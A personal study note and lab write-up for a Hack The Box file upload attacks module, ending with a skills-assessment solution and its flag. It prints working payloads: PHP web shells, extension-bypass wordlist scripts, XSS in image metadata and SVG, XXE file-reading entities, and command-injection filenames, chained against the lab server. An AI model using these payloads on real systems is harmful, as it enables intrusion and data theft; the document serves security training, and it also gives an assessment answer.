Intro to File Upload Attacks


Check File Upload note for a structured approach of the vulnerability. The first course is more informative than teaching, reminding how critical is this vulnerability. Quick mention of how Cross-Site Scripting (XSS) and XML external entity (XXE) injection can happen with File uploads. can also happen, file overwrite, RCE

Basic Exploitation

Absent Validation


You should have looked for the server version, framework … before hand. Use that to adapt the file payload.

Test out recurring bypass and trying to understand which protection are active (extension, MIME-type, HTTP header validation …). This will be covered in the next sections.

Questions

Upload Exploitation


PHP

Never heard of phpbash before, great resource to keep in mind. Although it’s cool and all we can go with a simple payload with the classical :

<?php system($_REQUEST['cmd']); ?>

This requires the server to not have disabled the system function from php though (and to have a vulnerable file upload).

.NET

<% eval request('cmd') %>

Reverse shell

Check up reverse shell note for a recap of basic exploitation.

Generating Custom Reverse Shell Scripts

Same thing, the whole process is written in the aforementioned note.

Questions

Bypassing Filters

Client-Side Validation


2 options available :

  1. Intercept a proper request through your proxy and modify it accordingly.
  2. Edit the browser code in the webpage to allow your payload to go through. It can be through editing javascript or deleting the checking function altogether.

First option is easier to replay requests.

Blacklist Filters


Get into the interesting part. Client-side is easily bypassed. From now on we’ll look at the server-side protections.

Case-sensitive

Linux extension are case sensitive but not Windows. In case you’re dealing with the latter, bypass using uppercase in extensions might usual blacklisting.

We used Web Fuzzing before so now we can start the process again on extension types. Automating most work on this topic will be important since they are many tricks to test. Burp Intruder is particularly suited for these tests.

PayloadAllTheThings has a simple yet effective wordlist to try extensions fuzzing for PHP. Actually their note on the topic is pretty interesting to read as well.

In these scenario we can look to sort our fuzzing by length like we did for many fuzzing before.

Questions

Log upload file requests

If we go for fuzzing approach and the server accepts some of the upload file tests we want to be able to precisely indicate what was uploaded to the web-server, be it conclusive or not.

Whitelist Filters


Whitelisting is more secure than blacklisting only if it’s properly implemented. A lax regex could authorize the wrong malicious extensions with technique such as :

  • Double extension (payload.jpg.php)
  • Null byte bypass (payload.php%00.gif)
  • Special characters (especially on Windows since it removes them on file creation)

First mentions of the importance of scripting in HTB modules, especially for crafting wordlists, here’s an example provided :

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.phps'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done

Note this only include the most basic extension for php, and we can add the ones we used in the previous labs such as .phar. A partial list of extension can be looked-up here.

Questions

Type Filters


Content-type

Mentioned previously when sending sane requests. Content-type is a header that can be used by server to partially check for the file validity. The list of every content-type are sorted by category such as image/. The whole list is available here.

We can fuzz over it with an otherwise sane request to check how the server validate this header.

MIME-Type

The list of file signatures should be the first thing to check when trying to play with MIME-Type validation in our payloads (the table is very long and won’t bring anything of value directly to the note). GIF89a is a very common Magic Byte to try to bypass usual checks on File Upload where GIF are accepted.

Since the MIME-Type is defined from the server we can’t enforce it other than modifying the first bytes of the payload.

Questions

Other Upload Attacks

Limited File Uploads


When command execution isn’t possible due to file type restrictions (for example), we can still try to leverage vulnerable upload functionality. Stored XSS can be triggered depending on the accessibility of the uploaded file in side an HTML page, as an available page itself …

One example for crafting such payloads through picture can be by exploiting meta data parameters. HTB gives the examples of Comment and Artist ones and the use of ExifTool to add such parameters to a file :

exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
exiftool HTB.jpg
...SNIP...
Comment                         :  "><img src=1 onerror=alert(window.origin)>

The same principle can be applied with .svg files. These are particularly interesting to work with since they’re XML-based. Depending on how the server processes the picture and which measures are active, it might be possible to inject scripts into it.

Example given for XSS embedded in .svg :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>
 

XXE

Check for the associated labs on PortSwigger. This vulnerability is also elaborated in the Web Attacks module yet published.

XXE on File Upload can lead to various exploitation vectors, though the most common would be to read files throughs the usual payloads :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

Here’s an example of php exploitation to retrieve content.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>

XXE can also be used to trigger SSRF like in the following lab. This is also covered in the later Server-side Attacks module.

DoS

Same then XXE, check Web Attacks. Note that this is rarely relevant to exploit and Proof Of Concept would require the explicit agreement of the client.

Questions

Other Upload Attacks


Injections in Filename

As we practiced command injection, it might also be used in the filename if the file is processed in any way, such as an unsanitized rename to a temp one, move to an upload folder … The methodology for testing this would be similar to the one mentionned in command injections. More precisely, backtick, bash evaluation, pipe should be tested like such :

HTB examples

file$(whoami).jpg
file`whoami`.jpg
file.jpg|whoami

XSS can also be triggered if the name is stored / reflected in the web page in an unsafe way. (e.g. <script>alert(window.origin);</script>)

Less probable, but SQL injection could be used if the name is inserted in a query for any reason. (e.g. file';select+sleep(5);--.jpg)

Upload Directory Disclosure

As mentioned previously when exploiting an XXE to read the upload.php file, the advantage of this exploit was not needing to know the absolute path of the upload directory nor the underlying location of the web server content.

The section mentions fuzzing to find our path knowing the uploaded file however it might have been renamed / not be available. They don’t expend on it so I’m curious how they will elaborate the topic later.

Indirect Directory Object Reference (IDOR) are also testable for that purpose.

Verbose web-app and error message can leak data as well by forcing unintended behavior like duplicating file upload name, sending two identical requests to trigger server-side errors…

Some Windows-specific behavior can be used for exploitation like :

  • Wildcards characters to trick the server into uploading something but returning an non working link, triggering errors (|,<,>,* or ?).
  • Using reserved Windows names triggering erros since file writing will be forbidden (using CON,COM1, LPT1 or NUL).

Windows 8.3 Filename Convention are mention for exploitation though it’s relevance is debatable for how old it is.

Prevention

Preventing File Upload Vulnerabilities


  1. Ensure extension regex is properly checked through a good whitelisting. If using a decent framework this should be taken care of so long as the right methods are called.
  2. Each file extension should have a respective content-type and MIME type check.
  3. Upload directory should be forbidden and not known from the user, any access to an uploaded data should go through a content fetching and inserting script so it gets added and the user never gets access to the upload directory path.
  4. Setting headers that enforce security headers :
    • X-Content-Type-Options: nosniff to prevent the webserver to do MIME-type sniffing (it overrides the Content-Type header for rendering a file. This allow for confusion on the MIME-type for file uploads.)
    • Content-Disposition specify the display in the browser. attachment implies download instead of inline rendering.

Advanced security would be to dedicate a separate environment for uploads so compromission gets restricted to the actual upload server instead of the whole back-end.

Other measures are mentioned like :

  • Disable function configuration depending on language and frameworks
  • File size restriction
  • Anti-virus / malware scanning on user uploaded content
  • WAF deployment
  • Keep the stack updated

Skills Assessment

Skills Assessment - File Upload Attacks


So far it might have been the most interesting and well built skill assessment in regard of the explored content. I wish it was going deeper in extension bypasses but hey that’s still something.

First look at the environment.

We’re facing a simple shop with not too much functionalities since most of them (buying, clicking on an article) are not doing anything. First thing that catch the attention is the Contact Us panel that we shall visit and examine.

Unsurprisingly we have a file upload feature. The process is a bit different than the previous exercise since the upload feature is not tied to the submit process but happens as soon as you trigger the upload button.

Request returning our file upload result

From this workflow we don’t get any direct obvious feedback from the web server with our uploaded file. However as you can see on the previous screenshot, the POST request directly returns our uploaded file content. We’ll work on this specific request from now on to try to find a vulnerability.

Uploaded file location isn't disclosed

The current implementation doesn’t reveal any path since it loads the content and serves it directly in the response. This means we can’t dynamically interact with a payload like a webshell in this context and should aim at retrieving data like file reading.

Exploiting XXE to read file

From this point I fuzzed over the extension and while classic image payload were accepted, double extension were also not properly verified. As such, uploads were validated for .phar.jpg ; .svg etc… GIF extension ; Content-Type and MIME-Type were all refused which indicate the server doesn’t allow this type of file (apparently).

Note that every checks are not correlated during verification. Example can be seen on the following request :

The refuses the request when one of the criteria isn’t matching the expectation (not mentioning bypasses).

However, since SVG is accepted I tried to retrieve information through file reading. Since the question to solve the assessment doesn’t specify the file is /flag.txt obviously we’ll have to obtain a webshell at some point, or an error that allow for directory enumeration. Malicious SVG file triggering XML external entity (XXE) injection is conclusive and the server sends back the content of /etc/passwd. From this point since the server is using php I try to execute a simple file reading using filters and obtain the source code for upload.php.

Keep that request in our repeater and spawn a new one to work with the .svg tests to stay organized in the methodogy. We successfully retrieve the content of the upload.php file using the following payload :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
 
<svg>&xxe;</svg>

For now we have a file upload vulnerability with unsafe verification, an XXE that allows use to read file on the webserver.

Let’s take a look at the upload.php source-code to exploit further our vulnerability (if possible) :

Read source code to exploit command injection

This gives us plenty of information, particularly the upload directory path. Now we need to check if the files are available directly knowing the file naming pattern. For example :

  1. a file.svg in 2026 January 7th would result in a file called 260107_file.svg
  2. under the path /contact/user_feedback_submissions/

Reaching for /contact/user_feedback_submissions/260107_file.svg effectively lets us access the uploaded file (example using default.svg file name) :

Now is the moment to keep up with the methodology and everything together. We already bypassed the file extension content, and the MIME-Type defines how the server accepts our file upload. GIF8 is not validated upon checking file upload but it’s not the only way to confuse a webserver and upload file that would allow command execution. Remember when we worked with out jpeg request previously ? We can try to get back to this checkpoint.

We can abuse double extension trick with the current checks to upload a .phar.jpg and confuse the server into accepting our file by inserting the file signature of a .jpeg file, followed by a payload that would directly indicate if our exploit worked.

Successful file upload :

Server response with known file path :

We can adapt our payload to a simple webshell as exploited previously :

ÿØÿà
 
<?php system($_REQUEST['cmd']); ?>

And then enumerate the root folder, identify and catenate the flag file :

We found the flag HTB{m4573r1ng_upl04d_3xpl0174710n} and solved the assessment.